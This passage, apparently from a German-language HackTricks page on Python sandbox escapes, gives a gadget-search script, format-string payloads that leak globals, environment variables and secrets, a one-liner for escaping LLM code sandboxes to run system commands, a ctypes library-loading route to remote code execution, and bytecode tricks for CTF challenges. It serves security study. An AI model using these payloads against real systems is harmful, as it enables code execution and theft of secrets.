_BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close """ ``` ## Rekursive Suche nach Builtins, Globals... > [!WARNING] > Das ist einfach **großartig**. Wenn Sie **nach einem Objekt wie globals, builtins, open oder etwas anderem suchen**, verwenden Sie einfach dieses Skript, um **rekursiv Orte zu finden, an denen Sie dieses Objekt finden können.** ```python import os, sys # Import these to find more gadgets SEARCH_FOR = { # Misc "__globals__": set(), "builtins": set(), "__builtins__": set(), "open": set(), # RCE libs "os": set(), "subprocess": set(), "commands": set(), "pty": set(), "importlib": set(), "imp": set(), "sys": set(), "pip": set(), "pdb": set(), # RCE methods "system": set(), "popen": set(), "getstatusoutput": set(), "getoutput": set(), "call": set(), "Popen": set(), "popen": set(), "spawn": set(), "import_module": set(), "__import__": set(), "load_source": set(), "execfile": set(), "execute": set() } #More than 4 is very time consuming MAX_CONT = 4 #The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found #ALREADY_CHECKED = set() def check_recursive(element, cont, name, orig_n, orig_i, execute): # If bigger than maximum, stop if cont > MAX_CONT: return # If already checked, stop #if name and name in ALREADY_CHECKED: # return # Add to already checked #if name: # ALREADY_CHECKED.add(name) # If found add to the dict for k in SEARCH_FOR: if k in dir(element) or (type(element) is dict and k in element): SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}") # Continue with the recursivity for new_element in dir(element): try: check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute) # WARNING: Calling random functions sometimes kills the script # Comment this part if you notice that behaviour!! if execute: try: if callable(getattr(element, new_element)): check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute) except: pass except: pass # If in a dict, scan also each key, very important if type(element) is dict: for new_element in element: check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i) def main(): print("Checking from empty string...") total = [""] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Empty str {i}", True) print() print("Checking loaded subclasses...") total = "".__class__.__base__.__subclasses__() for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Subclass {i}", True) print() print("Checking from global functions...") total = [print, check_recursive] for i,element in enumerate(total): print(f"\rStatus: {i}/{len(total)}", end="") cont = 1 check_recursive(element, cont, "", str(element), f"Global func {i}", False) print() print(SEARCH_FOR) if __name__ == "__main__": main() ``` Sie können die Ausgabe dieses Skripts auf dieser Seite überprüfen: {{#ref}} https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} ## Python Format String Wenn Sie eine **Zeichenfolge** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen. ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ CONFIG = { "KEY": "ASXFYFGK78989" } class PeopleInfo: def __init__(self, fname, lname): self.fname = fname self.lname = lname def get_name_for_avatar(avatar_str, people_obj): return avatar_str.format(people_obj = people_obj) people = PeopleInfo('GEEKS', 'FORGEEKS') st = "{people_obj.__init__.__globals__[CONFIG][KEY]}" get_name_for_avatar(st, people_obj = people) ``` Beachten Sie, wie Sie **Attribute** auf normale Weise mit einem **Punkt** wie `people_obj.__init__` und **Dictionärelemente** mit **Klammern** ohne Anführungszeichen `__globals__[CONFIG]` zugreifen können. Beachten Sie auch, dass Sie `.__dict__` verwenden können, um Elemente eines Objekts aufzulisten `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)` Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkeit, die **Funktionen** **`str`**, **`repr`** und **`ascii`** im angegebenen Objekt auszuführen, indem Sie **`!s`**, **`!r`**, **`!a`** jeweils hinzufügen: ```python st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu **codieren**: ```python class HAL9000(object): def __format__(self, format): if (format == 'open-the-pod-bay-doors'): return "I'm afraid I can't do that." return 'HAL 9000' '{:open-the-pod-bay-doors}'.format(HAL9000()) #I'm afraid I can't do that. ``` **Weitere Beispiele** zu **Format** **String** Beispielen finden Sie unter [**https://pyformat.info/**](https://pyformat.info) > [!VORSICHT] > Überprüfen Sie auch die folgende Seite auf Gadgets, die **sensible Informationen aus internen Python-Objekten lesen**: {{#ref}} ../python-internal-read-gadgets.md {{#endref}} ### Payloads zur Offenlegung sensibler Informationen ```python {whoami.__class__.__dict__} {whoami.__globals__[os].__dict__} {whoami.__globals__[os].environ} {whoami.__globals__[sys].path} {whoami.__globals__[sys].modules} # Access an element through several links {whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__} # Example from https://corgi.rip/posts/buckeye-writeups/ secret_variable = "clueless" x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol') str(x) # Out: clueless ``` ### LLM Jails umgehen Von [hier](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')` ### Von Format zu RCE Bibliotheken laden Laut der [**TypeMonkey Herausforderung aus diesem Bericht**](https://corgi.rip/posts/buckeye-writeups/) ist es möglich, beliebige Bibliotheken von der Festplatte zu laden, indem man die Format-String-Schwachstelle in Python ausnutzt. Zur Erinnerung: Jedes Mal, wenn eine Aktion in Python ausgeführt wird, wird eine Funktion aufgerufen. Zum Beispiel wird `2*3` **`(2).mul(3)`** ausführen oder **`{'a':'b'}['a']`** wird **`{'a':'b'}.__getitem__('a')`** sein. Es gibt mehr davon im Abschnitt [**Python-Ausführung ohne Aufrufe**](#python-execution-without-calls). Eine Python-Format-String-Schwachstelle erlaubt es nicht, Funktionen auszuführen (es erlaubt nicht die Verwendung von Klammern), daher ist es nicht möglich, RCE wie `'{0.system("/bin/sh")}'.format(os)` zu erhalten.\ Es ist jedoch möglich, `[]` zu verwenden. Daher, wenn eine gängige Python-Bibliothek eine **`__getitem__`** oder **`__getattr__`** Methode hat, die beliebigen Code ausführt, ist es möglich, diese auszunutzen, um RCE zu erhalten. Auf der Suche nach einem solchen Gadget in Python schlägt der Bericht diese [**Github-Suchanfrage**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) vor. Wo er dieses [eine](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463) gefunden hat: ```python class LibraryLoader(object): def __init__(self, dlltype): self._dlltype = dlltype def __getattr__(self, name): if name[0] == '_': raise AttributeError(name) try: dll = self._dlltype(name) except OSError: raise AttributeError(name) setattr(self, name, dll) return dll def __getitem__(self, name): return getattr(self, name) cdll = LibraryLoader(CDLL) pydll = LibraryLoader(PyDLL) ``` Dieses Gadget ermöglicht es, eine **Bibliothek von der Festplatte zu laden**. Daher ist es notwendig, die Bibliothek irgendwie **zu schreiben oder hochzuladen**, um sie korrekt auf dem angegriffenen Server zu laden. ```python '{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}' ``` Die Herausforderung missbraucht tatsächlich eine andere Schwachstelle im Server, die es ermöglicht, beliebige Dateien auf der Festplatte des Servers zu erstellen. ## Zerlegen von Python-Objekten > [!NOTE] > Wenn Sie mehr über **python bytecode** erfahren möchten, lesen Sie diesen **tollen** Beitrag zu dem Thema: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d) In einigen CTFs könnte Ihnen der Name einer **benutzerdefinierten Funktion, in der sich das Flag** befindet, bereitgestellt werden, und Sie müssen die **Interna** der **Funktion** einsehen, um es zu extrahieren. Dies ist die Funktion, die untersucht werden soll: ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] if some_input == var2: return "THIS-IS-THE-FALG!" else: return "Nope" ``` #### dir ```python dir() #General dir() to find what we have loaded ['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x'] dir(get_flag) #Get info tof the function ['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name'] ``` #### globals `__globals__` und `func_globals` (gleich) Erhält die globale Umgebung. Im Beispiel sehen Sie einige importierte Module, einige globale Variablen und deren deklarierten Inhalt: ```python get_flag.func_globals get_flag.__globals__ {'b': 3, 'names': ('open', 'read'), '__builtins__': , 'codeobj': at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': , 'filename': './poc.py', '__package__': None, 'read': , 'code': , 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': , '__name__': '__main__', 'foo': , '__doc__': None, 'dis': } #If you have access to some variable value CustomClassObject.__class__.__init__.__globals__ ``` [**Siehe hier weitere Orte, um Globals zu erhalten**](#globals-and-locals) ### **Zugriff auf den Funktionscode** **`__code__`** und `func_code`: Sie können **auf** dieses **Attribut** der Funktion **zugreifen**, um das **Code-Objekt** der Funktion **zu erhalten**. ```python # In our current example get_flag.__code__ ", line 1 # Compiling some python code compile("print(5)", "", "single") at 0x7f9ca01330c0, file "", line 1> #Get the attributes of the code object dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` ### Informationen zum Code abrufen ```python # Another example s = ''' a = 5 b = 'text' def f(x): return x f(5) ''' c=compile(s, "", "exec") # __doc__: Get the description of the function, if any print.__doc__ # co_consts: Constants get_flag.__code__.co_consts (None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope') c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None. (5, 'text', , 'f', None # co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects. get_flag.__code__.co_names () c.co_names ('a', 'b', 'f') #co_varnames: Local names used by the bytecode (arguments first, then the local variables) get_flag.__code__.co_varnames ('some_input', 'var1', 'var2', 'var3') #co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions. get_flag.__code__.co_cellvars () #co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function. get_flag.__code__.co_freevars () #Get bytecode get_flag.__code__.co_code 'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S' ``` ### **Disassemblierung einer Funktion** ```python import dis dis.dis(get_flag) 2 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (var1) 3 6 LOAD_CONST 2 ('secretcode') 9 STORE_FAST 2 (var2) 4 12 LOAD_CONST 3 ('some') 15 LOAD_CONST 4 ('array') 18 BUILD_LIST 2 21 STORE_FAST 3 (var3) 5 24 LOAD_FAST 0 (some_input) 27 LOAD_FAST 2 (var2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 6 36 LOAD_CONST 5 ('THIS-IS-THE-FLAG!') 39 RETURN_VALUE 8 >> 40 LOAD_CONST 6 ('Nope') 43 RETURN_VALUE 44 LOAD_CONST 0 (None) 47 RETURN_VALUE ``` Beachten Sie, dass **wenn Sie `dis` im Python-Sandbox nicht importieren können**, Sie den **Bytecode** der Funktion (`get_flag.func_code.co_code`) erhalten und ihn lokal **disassemblieren** können. Sie werden den Inhalt der geladenen Variablen (`LOAD_CONST`) nicht sehen, aber Sie können sie aus (`get_flag.func_code.co_consts`) erraten, da `LOAD_CONST` auch den Offset der geladenen Variablen angibt. ```python dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S') 0 LOAD_CONST 1 (1) 3 STORE_FAST 1 (1) 6 LOAD_CONST 2 (2) 9 STORE_FAST 2 (2) 12 LOAD_CONST 3 (3) 15 LOAD_CONST 4 (4) 18 BUILD_LIST 2 21 STORE_FAST 3 (3) 24 LOAD_FAST 0 (0) 27 LOAD_FAST 2 (2) 30 COMPARE_OP 2 (==) 33 POP_JUMP_IF_FALSE 40 36 LOAD_CONST 5 (5) 39 RETURN_VALUE >> 40 LOAD_CONST 6 (6) 43 RETURN_VALUE 44 LOAD_CONST 0 (0) 47 RETURN_VALUE ``` ## Kompilieren von Python Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion dumpen können, die Sie nicht ausführen können**, aber Sie **müssen** sie **ausführen**.\ Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen der Disassemblierung **wissen Sie nicht, wie Sie das Flag berechnen** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_) ```python def get_flag(some_input): var1=1 var2="secretcode" var3=["some","array"] def calc_flag(flag_rot2): return ''.join(chr(ord(c)-2) for c in flag_rot2) if some_input == var2: return calc_flag("VjkuKuVjgHnci") else: return "Nope" ``` ### Erstellen des Code-Objekts Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion auszuführen, die geleakt wurde: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this code_obj = code_type(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab, freevars=None, cellvars=None) # Execution eval(code_obj) #Execute as a whole script # If you have the code of a function, execute it mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") ``` > [!NOTE] > Je nach Python-Version können die **Parameter** von `code_type` eine **andere Reihenfolge** haben. Der beste Weg, um die Reihenfolge der Parameter in der Python-Version, die Sie ausführen, zu erfahren, ist, Folgendes auszuführen: > > ``` > import types > types.CodeType.__doc__ > 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.' > ``` ### Rekreation einer geleakten Funktion > [!WARNING] > Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt zu rekreieren, entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **Sie leaken müssen**. ```python fc = get_flag.__code__ # In a real situation the values like fc.co_argcount are the ones you need to leak code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars) mydict = {} mydict['__builtins__'] = __builtins__ function_type(code_obj, mydict, None, None, None)("secretcode") #ThisIsTheFlag ``` ### Bypass Defenses In den vorherigen Beispielen zu Beginn dieses Beitrags sehen Sie **wie man jeden Python-Code mit der `compile`-Funktion ausführt**. Das ist interessant, weil man **ganze Skripte** mit Schleifen und allem in einer **einzeiligen Anweisung** ausführen kann (und wir könnten dasselbe mit **`exec`** tun).\ Wie auch immer, manchmal könnte es nützlich sein, ein **kompiliertes Objekt** auf einer lokalen Maschine zu **erstellen** und es auf der **CTF-Maschine** auszuführen (zum Beispiel, weil wir die `compiled`-Funktion in der CTF nicht haben). Zum Beispiel, lassen Sie uns manuell eine Funktion kompilieren und ausführen, die _./poc.py_ liest: ```python #Locally def read(): return open("./poc.py",'r').read() read.__code__.co_code 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' ``` ```python #On Remote function_type = type(lambda: None) code_type = type((lambda: None).__code__) #Get consts = (None, "./poc.py", 'r') bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S' names = ('open','read') # And execute it using eval/exec eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ())) #You could also execute it directly mydict = {} mydict['__builtins__'] = __builtins__ codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '', 1, '', (), ()) function_type(codeobj, mydict, None, None, None)() ``` Wenn Sie `eval` oder `exec` nicht aufrufen können, könnten Sie eine **richtige Funktion** erstellen, aber der direkte Aufruf wird normalerweise mit: _Konstruktor im eingeschränkten Modus nicht zugänglich_ fehlschlagen. Daher benötigen Sie eine **Funktion, die sich nicht in der eingeschränkten Umgebung befindet, um diese Funktion aufzurufen.** ```python #Compile a regular print ftype = type(lambda: None) ctype = type((lambda: None).func_code) f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {}) f(42) ``` ## Decompiling Compiled Python Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann man **dekompilieren** gegebenen kompilierten Python-Code. **Schau dir dieses Tutorial an**: {{#ref}} ../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md {{#endref}} ## Misc Python ### Assert Python, das mit Optimierungen und dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert **debug** abhängt.\ Daher sind Überprüfungen wie ```python def check_permission(super_user): try: assert(super_user) print("\nYou are a super user\n") except AssertionError: print(f"\nNot a Super User!!!\n") ``` wird umgangen ## Referenzen - [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) - [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) - [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/) - [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape) - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html) - [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) {{#include ../../../banners/hacktricks-training.md}}